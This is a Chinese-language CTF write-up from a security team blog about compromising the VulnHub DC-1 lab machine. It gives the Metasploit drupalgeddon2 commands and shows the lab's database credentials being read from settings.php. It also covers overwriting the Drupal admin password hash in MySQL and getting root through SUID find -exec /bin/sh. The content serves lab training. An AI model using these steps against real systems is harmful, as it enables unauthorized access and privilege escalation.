点击蓝字
关注我们
声明
本文作者:LVL绿
本文字数:1360
阅读时长:20min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
搭建靶机
官网链接:https://download.vulnhub.com/dc/
注意需要靶机和kali攻击机在同一个网段,我把他们都放在了NAT模式下
启动两个靶机后会显示需要你输入login
准备工作
官方没有给用户名和密码,我们也无法知道该靶机IP是多少,需要自己去测试。但是咱自己的kali攻击机是知道IP的,而且kali和靶机在同一个网段下面。
那就简单了,直接使用nmap扫描整个C段,得到如下信息
已知信息
1、IP为192.168.67.136
2、80端口上面有一个Drupal 7服务,111端口是rpcbind服务
3、网站页面如下
使用MSF
直接放弃思考,使用msf一把梭
1、在msf中搜索Drupal关键字
search Drupal
2、选择、设置模块,并getshell
这里可以使用第3个和第5个都能直接getshell,我使用的是第5个。
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.67.136
run
shell
返回如上信息说明getshell
3、查看文件
首先查看用户名是否root
发现不是root权限,但是问题不大,接着查看文件
发现flag1.txt
cat flag1.txt
拿到了第一条提示:需要去找drupal的配置文件。接下来面向百度渗透,百度drupal的配置文件默认位置位于sites/default/settings.php
得到数据库用户名和密码以及flag2
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
flag2
*暴力和字典攻击不是
*获取访问权限的唯一方法(而且您需要访问权限)。
*你能用这些证书做什么?
有了如上信息直接连接mysql查找用户名和密码去进入一开始的页面后台
数据库操作
1、获得完全交互的shell
因为这个模块获得的shell在有些时候无法进行正常的回显,所以需要获得一个完全交互的shell,命令如下 :
python -c 'import pty;pty.spawn("/bin/sh")'
2、连接数据库
接着使用获得的用户名和密码直接连接mysql
Mysql –udbuser -p
进入到对应的数据库并查看表
这里查找一开始的网站用户名表users表,命令如下
Select * from users;
得到用户名和加密的密码
3、修改admin密码
如上获得了用户名和密码,但是密码是加密的,也不知道密码的加密方法
不过我们有源码直接在官网找到加密脚本位置./script/password-hash.sh,命令如下
php scripts/password-hash.sh newpwd
首先我们退出msyql
使用该命令将123456加密
再进入mysql,直接把他的admin密码给update成123456后的hash,命令如下
update users set pass='$S$DsdIiHCScy9nCdUvb7C7yVvBeHNtjmujR2dS8LhNn4LILFvwWiSS' where name='admin';
后台页面操作
1、前台登录
登录后随便点点看看发现了flag3
Flag3
Special PERMS will help FIND the passwd - but you'll need to -exec >that command to work out how to get what's in the shadow.
越权
1、查看passwd文件
上面提示了shadow和越权,所以咱们可以先去etc/passwd去看看,越权先不急
得到消息Flag4在home中,去康康
得到flag4
你能用同样的方法在根目录下找到或访问标志吗?可能。但也许这并不容易。或许是吧?
这里表示需要越权到root,而在flag3中告诉我们find可以用root权限执行
2、使用find命令越权
find ./ aaa -exec '/bin/sh' ;
先去root目录下看看
得到最后一个flag
至此5个flag全部找到
后记
1、Msf熟练使用,简单粗暴
2、使用find命令进行越权,find命令配合-exec选项提权;在执行这条指令必须指定外壳为/bin/sh,经过尝试/bin/bash等其他外壳拿到的不是root权限。
3、python -c 'import pty;pty.spawn("/bin/sh")'使用python获得完全交互的shell,防止msf获得的shell里面无法正常回显
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论